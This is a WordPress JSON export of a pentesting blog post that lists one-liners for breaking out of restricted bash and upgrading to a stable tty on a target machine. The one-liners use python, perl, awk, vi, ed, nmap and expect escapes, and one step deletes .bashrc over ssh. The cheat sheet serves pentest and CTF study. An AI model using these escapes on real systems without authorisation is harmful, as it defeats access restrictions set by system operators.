{"id":134,"date":"2021-04-24T01:43:14","date_gmt":"2021-04-24T01:43:14","guid":{"rendered":"https:\/\/sirensecurity.io\/blog\/?p=134"},"modified":"2021-10-06T00:13:30","modified_gmt":"2021-10-06T00:13:30","slug":"break-out-get-that-tty","status":"publish","type":"post","link":"https:\/\/sirensecurity.io\/blog\/break-out-get-that-tty\/","title":{"rendered":"Break Out. Get that tty."},"content":{"rendered":"\n
\"\"
\n

S1REN<\/p>\n\n\n\n

Breaking out of a restricted shell.<\/p>\n\n\n\n

Spawn a valid tty.

::Teletype<\/p>\n<\/div><\/div>\n\n\n\n


Out of the gate.<\/strong><\/p>\n\n\n

<\/code><\/p>\n

python -c 'import pty; pty.spawn(\"\/bin\/bash\")'
OR
python3 -c 'import pty; pty.spawn(\"\/bin\/bash\")'
export PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin:\/usr\/games:\/tmp
export TERM=xterm-256color
alias ll='ls -lsaht --color=auto'
<\/span>Keyboard Shortcut:<\/strong> Ctrl + Z (Background Process.)
stty raw -echo ; fg ; reset
stty columns 200 rows 200<\/span><\/p>\n

\u00a0<\/p>\n

* Grab a valid tty.
* What OS are you on? Grab access to those binaries fast by exporting each environment variable. Debian\/CentOS\/FreeBSD
* Want a color terminal to easily tell apart file permissions? Directories? Files?
* Fastest way to list out the files in a directory, show size, show permissions, human readable.
* Make this shell stable.<\/p>\n

<\/code><\/p>\n\n\n



Is this rbash<\/strong> (Restricted Bash<\/em>)?<\/strong> PT1
$ vi
:set shell=\/bin\/sh
:shell

$ vim
:set shell=\/bin\/sh
:shell

Is this rbash<\/strong> (Restricted Bash<\/em>)?<\/strong> PT2
(This requires ssh user-level access<\/em>)
ssh user@127.0.0.1 \"\/bin\/sh\"
rm $HOME\/.bashrc
exit
ssh user@127.0.0.1
(Bash Shell<\/em>) <\/p>\n\n\n\n

Is python present on the target machine?<\/strong>
python -c 'import pty; pty.spawn(\"\/bin\/bash\")'
python -c 'import pty; pty.spawn(\"\/bin\/sh\")'<\/p>\n\n\n\n

Is perl present on the target machine?<\/strong>
perl -e 'exec \"\/bin\/bash\";'
perl -e 'exec \"\/bin\/sh\";'<\/p>\n\n\n\n

Is AWK present on the target machine?<\/strong>
awk 'BEGIN {system(\"\/bin\/bash -i\")}'
awk 'BEGIN {system(\"\/bin\/sh -i\")}'<\/p>\n\n\n\n

Is ed present on the target machines?<\/strong>
ed
!sh<\/p>\n\n\n\n

IRB Present on the target machine?<\/strong>
exec \"\/bin\/sh\"<\/p>\n\n\n\n

Is Nmap present on the target machine?<\/strong>
nmap --interactive
nmap> !sh<\/p>\n\n\n\n

Expect:<\/strong><\/p>\n\n\n\n

expect -v\n  expect version 5.45.4\n  \n$ cat > \/tmp\/shell.sh <<EOF\n#!\/usr\/bin\/expect\nspawn bash\ninteract\nEOF\n\n$ chmod u+x \/tmp\/shell.sh\n$ \/tmp\/shell.sh<\/code><\/pre>\n\n\n\n





<\/p>\n","protected":false},"excerpt":{"rendered":"
Out of the gate. python -c 'import pty; pty.spawn(\"\/bin\/bash\")'ORpython3 -c 'import pty; pty.spawn(\"\/bin\/bash\")'export PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin:\/usr\/games:\/tmpexport TERM=xterm-256coloralias ll='ls -lsaht --color=auto'Keyboard Shortcut: Ctrl + Z (Background Process.)stty raw -echo ; fg ; resetstty columns 200 rows 200 \u00a0 * Grab a valid tty.* What OS are you on? Grab access to those binaries fast by exporting each environment […]<\/p>\n","protected":false},"author":1,"featured_media":96,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[14,13,12,10,4,11],"class_list":["post-134","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-s1ren","tag-breakout","tag-jailed-shell","tag-pentest","tag-restricted-shell","tag-s1ren","tag-tty"],"_links":{"self":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/134","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/comments?post=134"}],"version-history":[{"count":10,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/134\/revisions"}],"predecessor-version":[{"id":477,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/posts\/134\/revisions\/477"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/media\/96"}],"wp:attachment":[{"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/media?parent=134"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/categories?post=134"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sirensecurity.io\/blog\/wp-json\/wp\/v2\/tags?post=134"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}